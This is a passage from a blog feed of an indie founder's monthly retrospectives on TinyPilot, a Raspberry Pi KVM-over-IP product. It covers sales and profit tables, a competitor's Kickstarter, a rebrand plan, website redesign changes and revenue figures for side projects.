 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$3,431.35&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$30,239.04&lt;/td>
 &lt;td>$45,713.52&lt;/td>
 &lt;td>&lt;font color="green">+$15,474.48 (+51%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>$-10,140.95&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;strong>$11,713.04&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$21,853.99 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After an unremarkable first half of the month, I got a surprise &lt;a href="https://www.youtube.com/watch?v=TIrkEr2AeDY">review from Jeff Geerling&lt;/a>, a beloved blogger and YouTube creator in the Raspberry Pi world.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/TIrkEr2AeDY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>Jeff&amp;rsquo;s video compared TinyPilot to a competing device, PiKVM, and I feel like both products came across well. The video already has over 250k views, so it led tons of new customers to TinyPilot.&lt;/p>
&lt;p>TinyPilot had $42k in sales from the main website, but it was also a success for &lt;a href="https://www.kvm-ip.de/">TinyPilot&amp;rsquo;s European distributor&lt;/a>, who &lt;a href="https://mtlynch.io/retrospectives/2021/09/#adding-a-european-distributor">launched at the end of August&lt;/a>. They had an excellent first full month in business, and their sales earned me an additional ~$3k in royalties.&lt;/p>
&lt;h2 id="pikvms-scary-fundraising">PiKVM&amp;rsquo;s scary fundraising&lt;/h2>
&lt;p>Speaking of PiKVM, they just raised an enormous amount of money on Kickstarter.&lt;/p>
&lt;p>PiKVM is similar to TinyPilot in that they&amp;rsquo;re both KVM over IP products built on the Raspberry Pi. PiKVM&amp;rsquo;s founder Maxim actually reached out to me when I was developing TinyPilot and &lt;a href="https://mtlynch.io/tinypilot/#borrowing-from-a-similar-project">helped me get my project off the ground&lt;/a>.&lt;/p>
&lt;p>TinyPilot and PiKVM have co-existed for the past year while serving somewhat different markets. My primary goal with TinyPilot has always been to make the device easy to use, whereas PiKVM has catered to the DIY crowd who don&amp;rsquo;t mind tinkering a bit to get things working the way they want.&lt;/p>
&lt;p>PiKVM gives all of its software away for free and doesn&amp;rsquo;t offer a paid version. Until recently, PiKVM relied purely on donations, with about $800 in monthly contributions from their Patreon supporters and one-off donations from other sources. In September, PiKVM launched a Kickstarter for their first-ever paid product. It&amp;rsquo;s a hardware accessory for the Raspberry Pi that complements PiKVM&amp;rsquo;s software.&lt;/p>
&lt;p>When I heard about PiKVM&amp;rsquo;s Kickstarter, I estimated that it would earn $15-20k, enough to manufacture a few hundred units. It ended up &lt;strong>far&lt;/strong> exceeding my expectations. The final total was $789k from 3,572 backers. That&amp;rsquo;s twice as much as TinyPilot&amp;rsquo;s total sales revenue since launch.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter_hu_8745b3bc6e10e396.png 300w, https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter_hu_36ec5a1bc0577efc.png 600w, https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter_hu_db5d751f498bf880.png 800w, https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter_hu_63060eb711e2f0de.png 1200w, https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter.png 1316w'
 src="https://mtlynch.io/retrospectives/2021/10/pikvm-kickstarter.png" alt="Screenshot of PiKVM Kickstarter, showing $789,191 in funds raised" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>PiKVM&amp;rsquo;s Kickstarter raised $789,191.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m happy for Maxim, and he certainly deserves the success for all the work he&amp;rsquo;s put into PiKVM. That said, it&amp;rsquo;s a bit scary to see a competitor suddenly raise close to a million dollars. Scarier still, he&amp;rsquo;s expressed interest in a plug &amp;rsquo;n play version of PiKVM to compete directly with TinyPilot.&lt;/p>
&lt;p>On the positive side, the Kickstarter shows how enormous the market is for products like TinyPilot. PiKVM and TinyPilot still probably capture less than 1% of the total market.&lt;/p>
&lt;p>Even though PiKVM has a five-year lead in developing their software, TinyPilot still has a significant head start in several areas:&lt;/p>
&lt;p>&lt;strong>TinyPilot has a dev team&lt;/strong>. Even with unlimited money, it&amp;rsquo;s still difficult to find and hire talented developers. Google, Apple, and friends have almost infinite money, and they struggle to hire developers. Excluding me, TinyPilot has three solid developers that are ramped up on TinyPilot and all the development processes around it. That&amp;rsquo;s difficult for a competitor to replicate.&lt;/p>
&lt;p>&lt;strong>TinyPilot has a learnable codebase&lt;/strong>. TinyPilot has extensive unit tests, &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/4476e3b40af6879191a8d682bef54005e74aca48/.circleci/config.yml">continuous integration&lt;/a>, and &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/4476e3b40af6879191a8d682bef54005e74aca48/CONTRIBUTING.md">documentation&lt;/a> that make it easy for new developers to work on the code. In contrast, only one person is comfortable with the PiKVM codebase, and that&amp;rsquo;s the founder. PiKVM has significantly less documentation and automated tests than TinyPilot, so new developers will face a steeper learning curve.&lt;/p>
&lt;p>&lt;strong>TinyPilot has an assembly pipeline&lt;/strong>. PiKVM is currently a simpler product to sell because a generic circuit board manufacturer can produce their product. If they move into pre-assembled devices, they need to hire staff and train them to assemble parts, manage inventory, and ship to distributors. It took me almost a year to get all these processes running smoothly for TinyPilot, so it&amp;rsquo;s not the kind of thing a competitor could flip on overnight.&lt;/p>
&lt;h2 id="investing-more-into-design">Investing more into design&lt;/h2>
&lt;p>Last month, I talked about how &lt;a href="https://mtlynch.io/retrospectives/2021/09/#tinypilot-website-improvements">improving TinyPilot&amp;rsquo;s website design&lt;/a> seems to have increased sales. I decided to continue work on the website by hiring a professional designer.&lt;/p>
&lt;p>I interviewed six different designers and firms and ended up picking the most expensive one. I originally planned to spend a few thousand dollars on incremental improvements, but the winning firm convinced me to expand the scope of the project significantly. They proposed the following strategy:&lt;/p>
&lt;ol>
&lt;li>Re-do TinyPilot&amp;rsquo;s branding (logo, fonts, color scheme).&lt;/li>
&lt;li>Hire a marketing firm to talk about an ad strategy using the new brand.&lt;/li>
&lt;li>Have the marketing firm and design firm collaborate on a website design based on the new brand and ad strategy.&lt;/li>
&lt;/ol>
&lt;p>I might be a rube who got hornswoggled into an expensive project, but I felt like they made a compelling case. The brand forms the foundation of everything else, so it makes sense to invest more in that now.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/10/tinypilot-logo.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/10/tinypilot-logo_hu_b556d7abeeb9010b.jpg 300w, https://mtlynch.io/retrospectives/2021/10/tinypilot-logo_hu_c8f82cd6102868f9.jpg 600w, https://mtlynch.io/retrospectives/2021/10/tinypilot-logo_hu_d22e744f1ea45218.jpg 800w, https://mtlynch.io/retrospectives/2021/10/tinypilot-logo_hu_ad32d8754026a399.jpg 1200w, https://mtlynch.io/retrospectives/2021/10/tinypilot-logo.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2021/10/tinypilot-logo.jpg" alt="TinyPilot&amp;#39;s logo, a chipmunk in an airplane" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s chipmunk mascot may not be long for this world.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As much as I love the TinyPilot chipmunk, I think the company has outgrown the mascot. The cartoonishness worked in the beginning when we were catering mainly to hobbyists, but now that more of our customers are businesses, I want a logo that&amp;rsquo;s a bit more serious — not IBM-level serious, but maybe like a notch or two more playful than &lt;a href="https://ui.com">Ubiquiti&lt;/a> or &lt;a href="https://www.proxmox.com/en/">Proxmox&lt;/a>.&lt;/p>
&lt;p>Hopefully, we&amp;rsquo;ll have the rebrand done by the end of October. Then, in November and December, I can work with an ad agency on an ad strategy to coincide with the release of my new product, the Voyager 2.&lt;/p>
&lt;div class="notice notice-info">
 If you know of a digital marketing agency that works with small eCommerce businesses, let me know.
&lt;/div>

&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>30,439&lt;/td>
 &lt;td>23,618&lt;/td>
 &lt;td>&lt;font color="red">-6,821 (-22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>72,340&lt;/td>
 &lt;td>56,246&lt;/td>
 &lt;td>&lt;font color="red">-16,094 (-22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>12.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>&lt;font color="red">-1.0 (-8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$358.43&lt;/td>
 &lt;td>$264.63&lt;/td>
 &lt;td>&lt;font color="red">-$93.80 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$43.73&lt;/td>
 &lt;td>$77.42&lt;/td>
 &lt;td>&lt;font color="green">+$33.69 (+77%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$402.16&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$342.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$60.11 (-15%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto seems to be slowly dying. Another website popped up that does the same thing, and they&amp;rsquo;re outcompeting me in search engine rankings.&lt;/p>
&lt;p>I was hoping the site would quietly generate steady passive income for another few years, but it&amp;rsquo;s been deflating fast each month.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>393&lt;/td>
 &lt;td>128&lt;/td>
 &lt;td>&lt;font color="red">-265 (-67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$728.90&lt;/td>
 &lt;td>$189.14&lt;/td>
 &lt;td>&lt;font color="red">-$539.76 (-74%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>&lt;font color="green">+$27.30 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$728.90&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$216.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$512.46 (-70%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>In August, I ran a &lt;a href="https://mtlynch.io/retrospectives/2021/09/#hit-the-front-page-of-hacker-news">pay-what-you-want promotion&lt;/a> for the course, and that led to a jump in sales. I worried that anyone who had any interest in the course purchased it during that promotion, but September showed that a modest number of customers are still buying.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>585&lt;/td>
 &lt;td>596&lt;/td>
 &lt;td>&lt;font color="green">+11 (+2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,467&lt;/td>
 &lt;td>1,512&lt;/td>
 &lt;td>&lt;font color="green">+45 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$390.80&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$185.12&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$205.68 (-53%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful is popping up from nowhere as a recurring revenue source. Historically, the pay-as-you-go service rarely earns more than $50/month. The bulk of Zestful&amp;rsquo;s income came from Enterprise customers who wanted the service for a month or two to bulk process millions of records. In the last three months, multiple customers are increasing their pay-as-you-go usage of Zestful to the point that it&amp;rsquo;s generating a few hundred dollars per month.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Hired a design firm to redesign the TinyPilot website.&lt;/li>
&lt;li>Released the TinyPilot September update.&lt;/li>
&lt;li>Moved TinyPilot&amp;rsquo;s image build process to the cloud.&lt;/li>
&lt;li>Moved TinyPilot&amp;rsquo;s email support to &lt;a href="https://helpscout.com">HelpScout&lt;/a>, a shared inbox service, which will help me scale customer support.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Don&amp;rsquo;t panic just because a competitor raises a crazy amount of money.
&lt;ul>
&lt;li>Many of the things that have occupied my time over the past year are things that my competitor has not yet figured out, so I still have several valuable advantages.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Train local staff members to assist with customer support.&lt;/li>
&lt;li>Start development on a monthly service-based software complement to TinyPilot.&lt;/li>
&lt;li>Complete TinyPilot&amp;rsquo;s website rebrand.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 14</title><link>https://mtlynch.io/retrospectives/2021/09/</link><pubDate>Wed, 08 Sep 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/09/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A redesign of TinyPilot&amp;rsquo;s website seems to have increased sales.&lt;/li>
&lt;li>TinyPilot now has a European distributor.&lt;/li>
&lt;li>After three years, I&amp;rsquo;ve earned back my investment in Zestful (and I might sell it).&lt;/li>
&lt;li>I&amp;rsquo;m still ruthlessly delegating every task I can.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="help-tinypilots-eu-distributor-achieve-his-first-sale">Help TinyPilot&amp;rsquo;s EU distributor achieve his first sale&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The distributor made his first sale on September 6th&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I was hoping we&amp;rsquo;d earn the first sale within August, which unfortunately didn&amp;rsquo;t happen. Still, we got a sale within 10 days of launching the EU site.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A redesign of TinyPilot&amp;rsquo;s website seems to have increased sales.&lt;/li>
&lt;li>TinyPilot now has a European distributor.&lt;/li>
&lt;li>After three years, I&amp;rsquo;ve earned back my investment in Zestful (and I might sell it).&lt;/li>
&lt;li>I&amp;rsquo;m still ruthlessly delegating every task I can.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="help-tinypilots-eu-distributor-achieve-his-first-sale">Help TinyPilot&amp;rsquo;s EU distributor achieve his first sale&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The distributor made his first sale on September 6th&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I was hoping we&amp;rsquo;d earn the first sale within August, which unfortunately didn&amp;rsquo;t happen. Still, we got a sale within 10 days of launching the EU site.&lt;/p>
&lt;h3 id="finalize-the-design-of-the-voyager-2">Finalize the design of the Voyager 2&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The design is taking longer than expected, so it will take another month&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I thought the chip shortage was the last big hurdle to overcome, but the electrical engineers are running into more complexity than they expected in the design. We&amp;rsquo;ve now broken the project down into individual steps with time estimates for each so that we have a shared view of the overall schedule and how delays affect our timeline.&lt;/p>
&lt;h3 id="publish-a-sample-chapter-of-refactoring-english">Publish a sample chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Almost finished a sample chapter, but I&amp;rsquo;m still editing&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>The thing about publishing a book about effective writing is that people expect you to be a good writer. That puts some pressure on me. I&amp;rsquo;m about 70% ready to publish a sample chapter to publish, but I still need to edit it more.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>August 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>5,234&lt;/td>
 &lt;td>4,194&lt;/td>
 &lt;td>&lt;font color="red">-1,040 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>9,730&lt;/td>
 &lt;td>8,864&lt;/td>
 &lt;td>&lt;font color="red">-866 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$23,954.64&lt;/td>
 &lt;td>$30,191.04&lt;/td>
 &lt;td>&lt;font color="green">+$6,236.40 (+26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$0 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$24,002.64&lt;/td>
 &lt;td>$30,239.04&lt;/td>
 &lt;td>&lt;font color="green">+$6,236.40 (+26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>$-9,713.34&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>$-10,140.95&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$1,664.13&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Ouch! That&amp;rsquo;s three consecutive months of ~$8-10k losses. Worryingly, I increased revenue by $6k from last month but only reduced my net losses by ~$2k.&lt;/p>
&lt;p>Part of the problem is the &lt;a href="https://en.wikipedia.org/wiki/2020%E2%80%932021_global_chip_shortage">chip shortage&lt;/a>. 2 GB Raspberry Pi boards are sold out everywhere, so I had to upgrade to the 4 GB model at almost double the cost, even though TinyPilot gains no benefit from the additional RAM. In addition, I have to buy the boards on a fixed schedule, irrespective of how many TinyPilots I sell, so I&amp;rsquo;m accumulating more than I want.&lt;/p>
&lt;p>Outside of raw materials, my largest cost is software development. I paid freelance developers $13k in July and $11k in August. I have a great development team, and they&amp;rsquo;re worth what they charge, but the last few months of losses are making me realize I need to choose development tasks more intelligently.&lt;/p>
&lt;p>For the next few months, my focus on TinyPilot&amp;rsquo;s software development will be on things that directly affect TinyPilot&amp;rsquo;s bottom line:&lt;/p>
&lt;ul>
&lt;li>Offering a SaaS complement to TinyPilot&lt;/li>
&lt;li>Improving the website so that a higher proportion of customers purchase the product&lt;/li>
&lt;li>Reaching out to larger customers to find out what features would allow them to deploy TinyPilot at scale&lt;/li>
&lt;/ul>
&lt;h2 id="tinypilot-website-improvements">TinyPilot website improvements&lt;/h2>
&lt;p>When I first launched TinyPilot&amp;rsquo;s website, I meant for the design to be a placeholder until I had more time to invest in polishing it. I made small improvements over time, but the overall design has barely changed.&lt;/p>
&lt;p>One of the hurdles was finding a skilled developer to work on the website. After going through six hires who didn&amp;rsquo;t work out, I found a developer in July with design ideas and worked with him throughout August on implementing them. I think the site looks more professional as a result:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/home-before.png">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/home-before_hu_8d776f5e32ed6486.png 300w, https://mtlynch.io/retrospectives/2021/09/home-before_hu_4ab11de5201e23ba.png 600w, https://mtlynch.io/retrospectives/2021/09/home-before_hu_cf1eeabf10e5c51b.png 800w, https://mtlynch.io/retrospectives/2021/09/home-before_hu_4428c1fefb7d3870.png 1200w, https://mtlynch.io/retrospectives/2021/09/home-before.png 1383w'
 src="https://mtlynch.io/retrospectives/2021/09/home-before.png" alt="Screenshot of TinyPilot homepage before changes" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/home-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/home-after_hu_4926c69ad338323f.png 300w, https://mtlynch.io/retrospectives/2021/09/home-after_hu_bead5740cfa364f3.png 600w, https://mtlynch.io/retrospectives/2021/09/home-after_hu_2d98c32ddd93908d.png 800w, https://mtlynch.io/retrospectives/2021/09/home-after_hu_df198ba36f02e047.png 1200w, https://mtlynch.io/retrospectives/2021/09/home-after.png 1383w'
 src="https://mtlynch.io/retrospectives/2021/09/home-after.png" alt="Screenshot of TinyPilot homepage before changes" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>In August, I worked with one of TinyPilot&amp;rsquo;s developers to redesign the TinyPilot homepage.&lt;br>Original design (left), revised design (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>One promising indicator is my revenue per unique visitor. The site tends to earn $4-5 per unique visitor, but in August, the number spiked to $7.20, a 60% increase over the previous month.&lt;/p>
&lt;div style="margin-bottom: 5rem">
 &lt;canvas id="revenue-per-visitor">&lt;/canvas>
&lt;/div>
&lt;script>
window.addEventListener("load", function () {
 let pairs = [
 ["2020-7", 1.78],
 ["2020-8", 1.29],
 ["2020-9", 2.09],
 ["2020-10", 3.91],
 ["2020-11", 3.95],
 ["2020-12", 4.41],
 ["2021-1", 3.73],
 ["2021-2", 4.23],
 ["2021-3", 3.41],
 ["2021-4", 4.91],
 ["2021-5", 5.32],
 ["2021-6", 4.65],
 ["2021-7", 4.58],
 ["2021-8", 7.20],
 ];
 let dates = [];
 let values = [];
 for (const pair of pairs) {
 const d = parseDate(pair[0]);
 dates.push(d.toLocaleString('default', { month: 'long' }) + ' ' + d.getFullYear());
 values.push(pair[1]);
 }
 const formatter = new Intl.NumberFormat('en-US', {
 style: 'currency',
 currency: 'USD',
 minimumFractionDigits: 2,
 maximumFractionDigits: 2,
 });
 drawChart("revenue-per-visitor", dates, values, "Revenue per Visitor", formatter.format);
});
&lt;/script>
&lt;p>It&amp;rsquo;s certainly possible that the increase was a fluke, as I didn&amp;rsquo;t do a rigorous A/B test to prove that the new site made a difference. I&amp;rsquo;ll feel more confident if the trend continues through September.&lt;/p>
&lt;p>I&amp;rsquo;ll go through the changes piece by piece.&lt;/p>
&lt;p>First, we adjusted the navbar so that it now lines up with the content on the page:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/navbar.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/navbar_hu_b12508939d7e05d7.png 300w, https://mtlynch.io/retrospectives/2021/09/navbar_hu_b44946514d94468f.png 600w, https://mtlynch.io/retrospectives/2021/09/navbar_hu_7e4f859e145523a3.png 800w, https://mtlynch.io/retrospectives/2021/09/navbar_hu_567c6abdc109012e.png 1200w, https://mtlynch.io/retrospectives/2021/09/navbar.png 2769w'
 src="https://mtlynch.io/retrospectives/2021/09/navbar.png" alt="Before and after shots of TinyPilot navbar" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The feature brags are now more compact. You can&amp;rsquo;t see it in the screenshot, but we removed the animations, which were a bit distracting.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/feature-brags.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/09/feature-brags_hu_1ab37b145b31cd14.png 300w, https://mtlynch.io/retrospectives/2021/09/feature-brags_hu_e3ef134d7070bfe2.png 600w, https://mtlynch.io/retrospectives/2021/09/feature-brags_hu_cfcff340c826a439.png 800w, https://mtlynch.io/retrospectives/2021/09/feature-brags_hu_ec956bfa74489506.png 1200w, https://mtlynch.io/retrospectives/2021/09/feature-brags.png 2768w'
 src="https://mtlynch.io/retrospectives/2021/09/feature-brags.png" alt="Before and after shots of feature boxes on TinyPilot website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>We changed the reviews from a stack of boxes to a carousel that rotates every few seconds with a new review:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/09/reviews.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
